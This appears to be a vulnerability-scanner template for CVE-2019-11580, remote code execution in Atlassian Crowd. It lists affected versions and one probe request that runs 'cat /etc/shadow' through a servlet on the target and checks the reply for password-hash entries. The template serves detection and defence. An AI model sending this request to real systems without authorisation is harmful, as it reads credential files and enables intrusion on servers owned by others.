id: CVE-2019-11580

info:
  name: Atlassian Crowd & Crowd Data Center - Unauthenticated RCE
  author: dwisiswant0
  severity: critical
  tags: cve,cve2019,atlassian,rce

  description: |
    Atlassian Crowd and Crowd Data Center
    had the pdkinstall development plugin incorrectly enabled in release builds.
    Attackers who can send unauthenticated or authenticated requests
    to a Crowd or Crowd Data Center instance can exploit this vulnerability
    to install arbitrary plugins, which permits remote code execution on
    systems running a vulnerable version of Crowd or Crowd Data Center.
    All versions of Crowd from version 2.1.0 before 3.0.5 (the fixed version for 3.0.x),
    from version 3.1.0 before 3.1.6 (the fixed version for 3.1.x),
    from version 3.2.0 before 3.2.8 (the fixed version for 3.2.x),
    from version 3.3.0 before 3.3.5 (the fixed version for 3.3.x),
    and from version 3.4.0 before 3.4.4 (the fixed version for 3.4.x) are affected by this vulnerability.
  reference:
    - https://github.com/jas502n/CVE-2019-11580
    - https://jira.atlassian.com/browse/CWD-5388

requests:
  - method: GET
    path:
      - "{{BaseURL}}/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "root:*:"
          - "bin:*:"
        condition: and
        part: body
      - type: status
        status:
          - 200